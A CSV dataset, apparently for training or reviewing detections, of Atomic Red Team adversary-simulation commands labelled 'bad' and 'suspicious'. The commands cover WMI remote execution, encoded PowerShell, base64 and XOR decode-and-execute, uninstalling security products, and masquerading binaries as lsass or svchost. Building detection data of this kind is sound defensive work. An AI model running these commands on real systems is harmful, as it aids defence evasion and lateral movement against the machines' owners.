56cd129ae85a8766433919c2,"wmic qfe get description,installedOn /format:csv","wmic qfe get description,installedOn /format:csv",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1047/T1047.yaml,WMI Reconnaissance Software,T1047,"[""T1047""]",windows,0.9,False,"An adversary might use WMI to list installed Software hotfix and patches.
When the test completes, there should be a list of installed patches and when they were installed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0dbbff457c1f5fcc2de3b8d4,"wmic /node:""#{node}"" service where (caption like ""%#{service_search_string}%"")","wmic /node:""#{node}"" service where (caption like ""%#{service_search_string}%"")",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1047/T1047.yaml,WMI Reconnaissance List Remote Services,T1047,"[""T1047""]",windows,0.9,False,"An adversary might use WMI to check if a certain Remote Service is running on a remote device. 
When the test completes, a service information will be displayed on the screen if it exists.
A common feedback message is that ""No instance(s) Available"" if the service queried is not running.
A common error message is ""Node - (provided IP or default)  ERROR Description =The RPC server is unavailable"" 
if the provided remote host is unreachable
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
36677ec7d1586f3e7b76a9c8,wmic process call create #{process_to_execute},wmic process call create #{process_to_execute},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1047/T1047.yaml,WMI Execute Local Process,T1047,"[""T1047""]",windows,0.9,False,"This test uses wmic.exe to execute a process on the local host.
When the test completes , a new process will be started locally .A notepad application will be started when input is left on default.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c4349ee92b7e4542ef198e0d,wmic process where name='#{process_to_execute}' delete >nul 2>&1,wmic process where name='#{process_to_execute}' delete >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1047/T1047.yaml,WMI Execute Local Process,T1047,"[""T1047""]",windows,0.55,True,"This test uses wmic.exe to execute a process on the local host.
When the test completes , a new process will be started locally .A notepad application will be started when input is left on default.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b9415aef5b4d71b08d6b1d5e,"wmic /user:#{user_name} /password:#{password} /node:""#{node}"" process call create #{process_to_execute}","wmic /user:#{user_name} /password:#{password} /node:""#{node}"" process call create #{process_to_execute}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1047/T1047.yaml,WMI Execute Remote Process,T1047,"[""T1047""]",windows,0.9,False,"This test uses wmic.exe to execute a process on a remote host. Specify a valid value for remote IP using the node parameter.
To clean up, provide the same node input as the one provided to run the test
A common error message is ""Node - (provided IP or default)  ERROR Description =The RPC server is unavailable"" if the default or provided IP is unreachable
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1a1c68064ab2b4388fcd95aa,"wmic /user:#{user_name} /password:#{password} /node:""#{node}"" process where name='#{process_to_execute}' delete >nul 2>&1","wmic /user:#{user_name} /password:#{password} /node:""#{node}"" process where name='#{process_to_execute}' delete >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1047/T1047.yaml,WMI Execute Remote Process,T1047,"[""T1047""]",windows,0.55,True,"This test uses wmic.exe to execute a process on a remote host. Specify a valid value for remote IP using the node parameter.
To clean up, provide the same node input as the one provided to run the test
A common error message is ""Node - (provided IP or default)  ERROR Description =The RPC server is unavailable"" if the default or provided IP is unreachable
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b90ca108f85a7505efb038c2,powershell -exec bypass -e SQBuAHYAbwBrAGUALQBXAG0AaQBNAGUAdABoAG8AZAAgAC0AUABhAHQAaAAgAHcAaQBuADMAMgBfAHAAcgBvAGMAZQBzAHMAIAAtAE4AYQBtAGUAIABjAHIAZQBhAHQAZQAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIABuAG8AdABlAHAAYQBkAC4AZQB4AGUA,powershell -exec bypass -e SQBuAHYAbwBrAGUALQBXAG0AaQBNAGUAdABoAG8AZAAgAC0AUABhAHQAaAAgAHcAaQBuADMAMgBfAHAAcgBvAGMAZQBzAHMAIAAtAE4AYQBtAGUAIABjAHIAZQBhAHQAZQAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIABuAG8AdABlAHAAYQBkAC4AZQB4AGUA,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1047/T1047.yaml,Create a Process using WMI Query and an Encoded Command,T1047,"[""T1047""]",windows,0.9,False,"Solarigate persistence is achieved via backdoors deployed via various techniques including using PowerShell with an EncodedCommand
 Powershell -nop -exec bypass -EncodedCommand <encoded command>
Where the –EncodedCommand, once decoded, would resemble:
  Invoke-WMIMethod win32_process -name create -argumentlist ‘rundll32 c:\windows\idmu\common\ypprop.dll _XInitImageFuncPtrs’ -ComputerName WORKSTATION
The EncodedCommand in this atomic is the following: Invoke-WmiMethod -Path win32_process -Name cr",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
74a61180b51fdeddd7995b92,"$Class = New-Object Management.ManagementClass(New-Object Management.ManagementPath(""Win32_Process"")) $NewClass = $Class.Derive(""#{new_class}"") $NewClass.Put() Invoke-WmiMethod -Path #{new_class} -Name create -ArgumentList #{process_to_execute}","$Class = New-Object Management.ManagementClass(New-Object Management.ManagementPath(""Win32_Process"")) $NewClass = $Class.Derive(""#{new_class}"") $NewClass.Put() Invoke-WmiMethod -Path #{new_class} -Name create -ArgumentList #{process_to_execute}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1047/T1047.yaml,Create a Process using obfuscated Win32_Process,T1047,"[""T1047""]",windows,0.9,False,"This test tries to mask process creation by creating a new class that inherits from Win32_Process. Indirect call of suspicious method such as Win32_Process::Create can break detection logic.
[Cybereason blog post No Win32_ProcessNeeded](https://www.cybereason.com/blog/wmi-lateral-movement-win32)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1c3ad7ef03f51cc00d3b9ab6,"$CleanupClass = New-Object Management.ManagementClass(New-Object Management.ManagementPath(""#{new_class}"")) try { $CleanupClass.Delete() } catch {}","$CleanupClass = New-Object Management.ManagementClass(New-Object Management.ManagementPath(""#{new_class}"")) try { $CleanupClass.Delete() } catch {}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1047/T1047.yaml,Create a Process using obfuscated Win32_Process,T1047,"[""T1047""]",windows,0.55,True,"This test tries to mask process creation by creating a new class that inherits from Win32_Process. Indirect call of suspicious method such as Win32_Process::Create can break detection logic.
[Cybereason blog post No Win32_ProcessNeeded](https://www.cybereason.com/blog/wmi-lateral-movement-win32)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bc5783319ae4bb8f6ee76bf3,"wmic /node:#{node} process call create ""rundll32.exe \""#{dll_to_execute}\"" #{function_to_execute}""","wmic /node:#{node} process call create ""rundll32.exe \""#{dll_to_execute}\"" #{function_to_execute}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1047/T1047.yaml,WMI Execute rundll32,T1047,"[""T1047""]",windows,0.9,False,"This test uses wmic.exe to execute a DLL function using rundll32. Specify a valid value for remote IP using the node parameter.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
43ba96b726b53f30978e7c8b,taskkill /f /im calculator.exe,taskkill /f /im calculator.exe,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1047/T1047.yaml,WMI Execute rundll32,T1047,"[""T1047""]",windows,0.55,True,"This test uses wmic.exe to execute a DLL function using rundll32. Specify a valid value for remote IP using the node parameter.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
257d790107e60f736f10193c,"wmic /node:""#{node}"" product where ""name like '#{product}%%'"" call uninstall","wmic /node:""#{node}"" product where ""name like '#{product}%%'"" call uninstall",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1047/T1047.yaml,Application uninstall using WMIC,T1047,"[""T1047""]",windows,0.9,False,Emulates uninstalling  applications using WMIC.  This method only works if the product was installed with an msi file.  APTs have been seen using this to uninstall security products.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
91f502953665de5a007df2a5,"msiexec /i ""PathToAtomicsFolder\..\ExternalPayloads\tightvncinstaller.msi"" /qn /norestart","msiexec /i ""PathToAtomicsFolder\..\ExternalPayloads\tightvncinstaller.msi"" /qn /norestart",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1047/T1047.yaml,Application uninstall using WMIC,T1047,"[""T1047""]",windows,0.55,True,Emulates uninstalling  applications using WMIC.  This method only works if the product was installed with an msi file.  APTs have been seen using this to uninstall security products.,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d5738148b0ab189781068de0,"Start-Process ""#{exe_binary}"" Start-Sleep -Seconds 7 Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force","Start-Process ""#{exe_binary}"" Start-Sleep -Seconds 7 Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1055.015/T1055.015.yaml,Process injection ListPlanting,T1055.015,"[""T1055.015""]",windows,0.9,False,"This test injects shellcode into a remote RegEdit process using the ListPlanting technique. ListPlanting exploits Window with ListView control. Code write to memory with NtWriteVirtualMemory. The shellcode is executed via PostMessage. When successful, a message box will appear with the title ""Warning"" and the content ""Atomic Red Team"" after a few seconds. Notepad will open following the appearance of the message box.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
90a7601e2921ee84477119a4,Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force,Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1055.015/T1055.015.yaml,Process injection ListPlanting,T1055.015,"[""T1055.015""]",windows,0.55,True,"This test injects shellcode into a remote RegEdit process using the ListPlanting technique. ListPlanting exploits Window with ListView control. Code write to memory with NtWriteVirtualMemory. The shellcode is executed via PostMessage. When successful, a message box will appear with the title ""Warning"" and the content ""Atomic Red Team"" after a few seconds. Notepad will open following the appearance of the message box.",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e7ee60d0fa09c052dc3725da,certutil -encode #{executable} %temp%\T1140_calc.txt certutil -decode %temp%\T1140_calc.txt %temp%\T1140_calc_decoded.exe,certutil -encode #{executable} %temp%\T1140_calc.txt certutil -decode %temp%\T1140_calc.txt %temp%\T1140_calc_decoded.exe,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1140/T1140.yaml,Deobfuscate/Decode Files Or Information,T1140,"[""T1140""]",windows,0.9,False,"Encode/Decode executable
Upon execution a file named T1140_calc_decoded.exe will be placed in the temp folder
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9a0b77ba02e5e96c8d4eb1be,del %temp%\T1140_calc.txt >nul 2>&1 del %temp%\T1140_calc_decoded.exe >nul 2>&1,del %temp%\T1140_calc.txt >nul 2>&1 del %temp%\T1140_calc_decoded.exe >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1140/T1140.yaml,Deobfuscate/Decode Files Or Information,T1140,"[""T1140""]",windows,0.55,True,"Encode/Decode executable
Upon execution a file named T1140_calc_decoded.exe will be placed in the temp folder
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
56244b6a851a8c1ff6b8ef2a,copy %windir%\system32\certutil.exe %temp%\tcm.tmp %temp%\tcm.tmp -encode #{executable} %temp%\T1140_calc2.txt %temp%\tcm.tmp -decode %temp%\T1140_calc2.txt %temp%\T1140_calc2_decoded.exe,copy %windir%\system32\certutil.exe %temp%\tcm.tmp %temp%\tcm.tmp -encode #{executable} %temp%\T1140_calc2.txt %temp%\tcm.tmp -decode %temp%\T1140_calc2.txt %temp%\T1140_calc2_decoded.exe,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1140/T1140.yaml,Certutil Rename and Decode,T1140,"[""T1140""]",windows,0.9,False,"Rename certutil and decode a file. This is in reference to latest research by FireEye [here](https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f7f94114b63ffb9201b548a5,del %temp%\tcm.tmp >nul 2>&1 del %temp%\T1140_calc2.txt >nul 2>&1 del %temp%\T1140_calc2_decoded.exe >nul 2>&1,del %temp%\tcm.tmp >nul 2>&1 del %temp%\T1140_calc2.txt >nul 2>&1 del %temp%\T1140_calc2_decoded.exe >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1140/T1140.yaml,Certutil Rename and Decode,T1140,"[""T1140""]",windows,0.55,True,"Rename certutil and decode a file. This is in reference to latest research by FireEye [here](https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f64f09e6039ad8f73d2451a7,"ENCODED=$(perl -e ""use MIME::Base64;print(encode_base64('#{message}'));"") perl -le ""use MIME::Base64;print(decode_base64('$ENCODED'));"" echo $ENCODED | perl -le 'use MIME::Base64;print(decode_base64(<STDIN>));' echo $ENCODED > #{encoded_file} && perl -le 'use MIME::Base64;open($f,""<"",""#{encoded_file}"");print(decode_base64(<$f>));'","ENCODED=$(perl -e ""use MIME::Base64;print(encode_base64('#{message}'));"") perl -le ""use MIME::Base64;print(decode_base64('$ENCODED'));"" echo $ENCODED | perl -le 'use MIME::Base64;print(decode_base64(<STDIN>));' echo $ENCODED > #{encoded_file} && perl -le 'use MIME::Base64;open($f,""<"",""#{encoded_file}"");print(decode_base64(<$f>));'",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1140/T1140.yaml,Base64 decoding with Perl,T1140,"[""T1140""]","linux,macos",0.9,False,"Use Perl to decode a base64-encoded text string and echo it to the console    
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5afca6e15901b5af427ce8dc,"ENCODED=$(echo '#{message}' | base64) printf $ENCODED | base64 -d echo $ENCODED | base64 -d echo $(echo $ENCODED) | base64 -d echo $ENCODED > #{encoded_file} && base64 -d #{encoded_file} echo $ENCODED > #{encoded_file} && base64 -d < #{encoded_file} echo $ENCODED > #{encoded_file} && cat #{encoded_file} | base64 -d echo $ENCODED > #{encoded_file} && cat < #{encoded_file} | base64 -d bash -c ""{echo,\""$(echo $ENCODED)\""}|{base64,-d}""","ENCODED=$(echo '#{message}' | base64) printf $ENCODED | base64 -d echo $ENCODED | base64 -d echo $(echo $ENCODED) | base64 -d echo $ENCODED > #{encoded_file} && base64 -d #{encoded_file} echo $ENCODED > #{encoded_file} && base64 -d < #{encoded_file} echo $ENCODED > #{encoded_file} && cat #{encoded_file} | base64 -d echo $ENCODED > #{encoded_file} && cat < #{encoded_file} | base64 -d bash -c ""{echo,\""$(echo $ENCODED)\""}|{base64,-d}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1140/T1140.yaml,Base64 decoding with shell utilities,T1140,"[""T1140""]","linux,macos",0.9,False,"Use common shell utilities to decode a base64-encoded text string and echo it to the console
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
74a223a0d304eb37e3dddaff,ENCODED=$(echo '#{message}' | b64encode -r -) printf $ENCODED | b64decode -r echo $ENCODED | b64decode -r echo $(echo $ENCODED) | b64decode -r echo $ENCODED > #{encoded_file} && b64encode -r #{encoded_file} echo $ENCODED > #{encoded_file} && b64decode -r < #{encoded_file} echo $ENCODED > #{encoded_file} && cat #{encoded_file} | b64decode -r echo $ENCODED > #{encoded_file} && cat < #{encoded_file} | b64decode -r,ENCODED=$(echo '#{message}' | b64encode -r -) printf $ENCODED | b64decode -r echo $ENCODED | b64decode -r echo $(echo $ENCODED) | b64decode -r echo $ENCODED > #{encoded_file} && b64encode -r #{encoded_file} echo $ENCODED > #{encoded_file} && b64decode -r < #{encoded_file} echo $ENCODED > #{encoded_file} && cat #{encoded_file} | b64decode -r echo $ENCODED > #{encoded_file} && cat < #{encoded_file} | b64decode -r,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1140/T1140.yaml,Base64 decoding with shell utilities (freebsd),T1140,"[""T1140""]",linux,0.9,False,"Use common shell utilities to decode a base64-encoded text string and echo it to the console
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
36fcef5bb90ada1d4e6acb88,echo #{bash_encoded} | b64decode -r | sh echo #{dash_encoded} | b64decode -r | sh echo #{fish_encoded} | b64decode -r | sh echo #{sh_encoded} | b64decode -r | sh,echo #{bash_encoded} | b64decode -r | sh echo #{dash_encoded} | b64decode -r | sh echo #{fish_encoded} | b64decode -r | sh echo #{sh_encoded} | b64decode -r | sh,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1140/T1140.yaml,FreeBSD b64encode Shebang in CLI,T1140,"[""T1140""]",linux,0.9,False,"Using b64decode shell scripts that have Shebang in them. This is commonly how attackers obfuscate passing and executing a shell script. Seen [here](https://www.trendmicro.com/pl_pl/research/20/i/the-evolution-of-malicious-shell-scripts.html) by TrendMicro, as well as [LinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS). Also a there is a great Sigma rule [here](https://github.com/SigmaHQ/sigma/blob/master/rules/linux/process_creation/proc_creation_lnx_base64_shebang_cli.yml) fo",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
11cb9474513a38a2ad6fa552,ENCODED=$(echo '#{message}' | xxd -ps -c 256) printf $ENCODED | xxd -r -p echo $ENCODED | xxd -r -p echo $(echo $ENCODED) | xxd -r -p echo $ENCODED > #{encoded_file} && xxd -r -p #{encoded_file} echo $ENCODED > #{encoded_file} && xxd -r -p < #{encoded_file} echo $ENCODED > #{encoded_file} && cat #{encoded_file} | xxd -r -p echo $ENCODED > #{encoded_file} && cat < #{encoded_file} | xxd -r -p,ENCODED=$(echo '#{message}' | xxd -ps -c 256) printf $ENCODED | xxd -r -p echo $ENCODED | xxd -r -p echo $(echo $ENCODED) | xxd -r -p echo $ENCODED > #{encoded_file} && xxd -r -p #{encoded_file} echo $ENCODED > #{encoded_file} && xxd -r -p < #{encoded_file} echo $ENCODED > #{encoded_file} && cat #{encoded_file} | xxd -r -p echo $ENCODED > #{encoded_file} && cat < #{encoded_file} | xxd -r -p,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1140/T1140.yaml,Hex decoding with shell utilities,T1140,"[""T1140""]","linux,macos",0.9,False,"Use common shell utilities to decode a hex-encoded text string and echo it to the console
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
662b414a68b5a48fb54be477,echo #{bash_encoded} | base64 -d | bash echo #{dash_encoded} | base64 -d | bash echo #{fish_encoded} | base64 -d | bash echo #{sh_encoded} | base64 -d | bash,echo #{bash_encoded} | base64 -d | bash echo #{dash_encoded} | base64 -d | bash echo #{fish_encoded} | base64 -d | bash echo #{sh_encoded} | base64 -d | bash,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1140/T1140.yaml,Linux Base64 Encoded Shebang in CLI,T1140,"[""T1140""]","linux,macos",0.9,False,"Using Linux Base64 Encoded shell scripts that have Shebang in them. This is commonly how attackers obfuscate passing and executing a shell script. Seen [here](https://www.trendmicro.com/pl_pl/research/20/i/the-evolution-of-malicious-shell-scripts.html) by TrendMicro, as well as [LinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS). Also a there is a great Sigma rule [here](https://github.com/SigmaHQ/sigma/blob/master/rules/linux/process_creation/proc_creation_lnx_base64_shebang_",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c4262a0078c482a883de2724,"python3 -c 'import base64; import subprocess; xor_decrypt = lambda text, key: """".join([chr(c ^ ord(k)) for c, k in zip(base64.b64decode(text.encode()), key)]); command = ""#{encrypted_command}""; key = ""#{xor_key}""; exec = xor_decrypt(command, key); subprocess.call(exec, shell=True)'","python3 -c 'import base64; import subprocess; xor_decrypt = lambda text, key: """".join([chr(c ^ ord(k)) for c, k in zip(base64.b64decode(text.encode()), key)]); command = ""#{encrypted_command}""; key = ""#{xor_key}""; exec = xor_decrypt(command, key); subprocess.call(exec, shell=True)'",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1140/T1140.yaml,XOR decoding and command execution using Python,T1140,"[""T1140""]","linux,macos",0.9,False,An adversary can obfuscate malicious commands or payloads using XOR and execute them on the victim's machine. This test uses Python to decode and execute commands on the machine.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fb61afd15e5a26c145aa316d,"mkdir ""#{output_dir}"" >nul 2>&1 echo hello from atomic red team > ""PathToAtomicsFolder\T1140\src\art-expand-source.txt"" makecab ""PathToAtomicsFolder\T1140\src\art-expand-source.txt"" ""#{cab_path}"" pushd ""#{output_dir}"" expand ""#{cab_path}"" -F:* . popd","mkdir ""#{output_dir}"" >nul 2>&1 echo hello from atomic red team > ""PathToAtomicsFolder\T1140\src\art-expand-source.txt"" makecab ""PathToAtomicsFolder\T1140\src\art-expand-source.txt"" ""#{cab_path}"" pushd ""#{output_dir}"" expand ""#{cab_path}"" -F:* . popd",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1140/T1140.yaml,Expand CAB with expand.exe,T1140,"[""T1140""]",windows,0.9,False,"Uses expand.exe to extract a file from a CAB created locally. This simulates adversarial use of expand on cabinet archives.
Upon success, art-expand-source.txt is extracted next to the CAB.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
67f1e40c59e49673e1eb56c9,"del ""PathToAtomicsFolder\T1140\src\art-expand-source.txt"" >nul 2>&1 del ""#{cab_path}"" >nul 2>&1 rmdir ""#{output_dir}"" /s /q >nul 2>&1","del ""PathToAtomicsFolder\T1140\src\art-expand-source.txt"" >nul 2>&1 del ""#{cab_path}"" >nul 2>&1 rmdir ""#{output_dir}"" /s /q >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1140/T1140.yaml,Expand CAB with expand.exe,T1140,"[""T1140""]",windows,0.55,True,"Uses expand.exe to extract a file from a CAB created locally. This simulates adversarial use of expand on cabinet archives.
Upon success, art-expand-source.txt is extracted next to the CAB.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a75b6341e21a361f753ef254,copy %SystemRoot%\System32\cmd.exe %SystemRoot%\Temp\lsass.exe %SystemRoot%\Temp\lsass.exe /B,copy %SystemRoot%\System32\cmd.exe %SystemRoot%\Temp\lsass.exe %SystemRoot%\Temp\lsass.exe /B,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1036.003/T1036.003.yaml,Masquerading as Windows LSASS process,T1036.003,"[""T1036.003""]",windows,0.9,False,"Copies cmd.exe, renames it, and launches it to masquerade as an instance of lsass.exe.

Upon execution, cmd will be launched by powershell. If using Invoke-AtomicTest, The test will hang until the 120 second timeout cancels the session
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
715b3f49136f16e9071cf438,del /Q /F %SystemRoot%\Temp\lsass.exe >nul 2>&1,del /Q /F %SystemRoot%\Temp\lsass.exe >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1036.003/T1036.003.yaml,Masquerading as Windows LSASS process,T1036.003,"[""T1036.003""]",windows,0.55,True,"Copies cmd.exe, renames it, and launches it to masquerade as an instance of lsass.exe.

Upon execution, cmd will be launched by powershell. If using Invoke-AtomicTest, The test will hang until the 120 second timeout cancels the session
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3dfcd81429176801487a5083,cp /bin/sh /tmp/crond; echo 'sleep 5' | /tmp/crond,cp /bin/sh /tmp/crond; echo 'sleep 5' | /tmp/crond,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1036.003/T1036.003.yaml,Masquerading as FreeBSD or Linux crond process.,T1036.003,"[""T1036.003""]",linux,0.9,False,"Copies sh process, renames it as crond, and executes it to masquerade as the cron daemon.

Upon successful execution, sh is renamed to `crond` and executed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4a64c84acac555c2738ab523,rm /tmp/crond,rm /tmp/crond,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1036.003/T1036.003.yaml,Masquerading as FreeBSD or Linux crond process.,T1036.003,"[""T1036.003""]",linux,0.55,True,"Copies sh process, renames it as crond, and executes it to masquerade as the cron daemon.

Upon successful execution, sh is renamed to `crond` and executed.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
99e9cdcc262f337d7d7080be,copy %SystemRoot%\System32\cscript.exe %APPDATA%\notepad.exe /Y cmd.exe /c %APPDATA%\notepad.exe /B,copy %SystemRoot%\System32\cscript.exe %APPDATA%\notepad.exe /Y cmd.exe /c %APPDATA%\notepad.exe /B,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1036.003/T1036.003.yaml,Masquerading - cscript.exe running as notepad.exe,T1036.003,"[""T1036.003""]",windows,0.9,False,"Copies cscript.exe, renames it, and launches it to masquerade as an instance of notepad.exe.

Upon successful execution, cscript.exe is renamed as notepad.exe and executed from non-standard path.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
609544eb24d7997b3585489b,del /Q /F %APPDATA%\notepad.exe >nul 2>&1,del /Q /F %APPDATA%\notepad.exe >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1036.003/T1036.003.yaml,Masquerading - cscript.exe running as notepad.exe,T1036.003,"[""T1036.003""]",windows,0.55,True,"Copies cscript.exe, renames it, and launches it to masquerade as an instance of notepad.exe.

Upon successful execution, cscript.exe is renamed as notepad.exe and executed from non-standard path.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f49ad6a6de69e669d7be3d8b,"copy %SystemRoot%\System32\wscript.exe %APPDATA%\svchost.exe /Y cmd.exe /c %APPDATA%\svchost.exe ""PathToAtomicsFolder\..\ExternalPayloads\T1036.003\src\T1036.003_masquerading.vbs""","copy %SystemRoot%\System32\wscript.exe %APPDATA%\svchost.exe /Y cmd.exe /c %APPDATA%\svchost.exe ""PathToAtomicsFolder\..\ExternalPayloads\T1036.003\src\T1036.003_masquerading.vbs""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1036.003/T1036.003.yaml,Masquerading - wscript.exe running as svchost.exe,T1036.003,"[""T1036.003""]",windows,0.9,False,"Copies wscript.exe, renames it, and launches it to masquerade as an instance of svchost.exe.

Upon execution, no windows will remain open but wscript will have been renamed to svchost and ran out of the temp folder
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3fc80156db381b90c1a819ae,del /Q /F %APPDATA%\svchost.exe >nul 2>&1,del /Q /F %APPDATA%\svchost.exe >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1036.003/T1036.003.yaml,Masquerading - wscript.exe running as svchost.exe,T1036.003,"[""T1036.003""]",windows,0.55,True,"Copies wscript.exe, renames it, and launches it to masquerade as an instance of svchost.exe.

Upon execution, no windows will remain open but wscript will have been renamed to svchost and ran out of the temp folder
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6a355ef1a13cf011906aac06,copy %windir%\System32\windowspowershell\v1.0\powershell.exe %APPDATA%\taskhostw.exe /Y cmd.exe /K %APPDATA%\taskhostw.exe,copy %windir%\System32\windowspowershell\v1.0\powershell.exe %APPDATA%\taskhostw.exe /Y cmd.exe /K %APPDATA%\taskhostw.exe,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1036.003/T1036.003.yaml,Masquerading - powershell.exe running as taskhostw.exe,T1036.003,"[""T1036.003""]",windows,0.9,False,"Copies powershell.exe, renames it, and launches it to masquerade as an instance of taskhostw.exe.

Upon successful execution, powershell.exe is renamed as taskhostw.exe and executed from non-standard path.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e612af1147096786dc2a01c1,del /Q /F %APPDATA%\taskhostw.exe >nul 2>&1,del /Q /F %APPDATA%\taskhostw.exe >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1036.003/T1036.003.yaml,Masquerading - powershell.exe running as taskhostw.exe,T1036.003,"[""T1036.003""]",windows,0.55,True,"Copies powershell.exe, renames it, and launches it to masquerade as an instance of taskhostw.exe.

